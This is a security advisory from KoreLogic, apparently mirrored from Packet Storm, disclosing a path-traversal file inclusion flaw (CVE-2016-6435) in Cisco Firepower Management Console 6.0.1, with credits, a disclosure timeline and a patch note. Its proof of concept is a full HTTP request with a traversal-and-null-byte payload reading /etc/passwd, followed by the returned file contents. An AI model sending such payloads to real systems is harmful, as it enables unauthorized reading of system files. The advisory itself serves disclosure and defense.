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packetstormMatthew BerginPACKETSTORM:138987
HistoryOct 05, 2016 - 12:00 a.m.

Cisco Firepower Threat Management Console Local File Inclusion

Matthew Bergin





`KL-001-2016-006 : Cisco Firepower Threat Management Console Local File Inclusion  
Title: Cisco Firepower Threat Management Console Local File Inclusion  
Advisory ID: KL-001-2016-006  
Publication Date: 2016.10.05  
Publication URL:  
1. Vulnerability Details  
Affected Vendor: Cisco  
Affected Product: Firepower Threat Management Console  
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)  
Platform: Embedded Linux  
CWE Classification: CWE-73: External Control of File Name or Path  
Impact: Information Disclosure  
Attack vector: HTTP  
CVE-ID: CVE-2016-6435  
2. Vulnerability Description  
An authenticated user can access arbitrary files on the local system.  
3. Technical Description  
Requests that take a file path do not properly filter what files can  
be requested. The webserver does not run as root, so files such as  
/etc/shadow are not readable.  
GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)  
Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
DNT: 1  
Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3  
Connection: close  
HTTP/1.1 200 OK  
Date: Fri, 22 Apr 2016 23:58:41 GMT  
Server: Apache  
Content-Disposition: attachment; filename=passwd  
X-Frame-Options: SAMEORIGIN  
Connection: close  
Content-Type: application/octet-stream  
Content-Length: 623  
www:x:67:67:HTTP server:/var/www:/sbin/nologin  
sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin  
snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin  
sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin  
4. Mitigation and Remediation Recommendation  
The vendor has issued a patch for this vulnerability  
in version 6.1. Vendor acknowledgement available at:  
5. Credit  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
6. Disclosure Timeline  
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.  
2016.06.30 - Cisco acknowledges receipt of vulnerability report.  
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for  
this vulnerability and for 3 others reported in the  
same product.  
2016.08.12 - 30 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.02 - 45 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.09 - KoreLogic asks for an update on the status of the  
remediation efforts.  
2016.09.15 - Cisco confirms remediation is underway and soon to be  
2016.09.28 - Cisco informs KoreLogic that the remediation details will  
be released publicly on 2016.10.05.  
2016.10.05 - Public disclosure.  
7. Proof of Concept  
See Technical Description  
The contents of this advisory are copyright(c) 2016  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
Our public vulnerability disclosure policy is available at: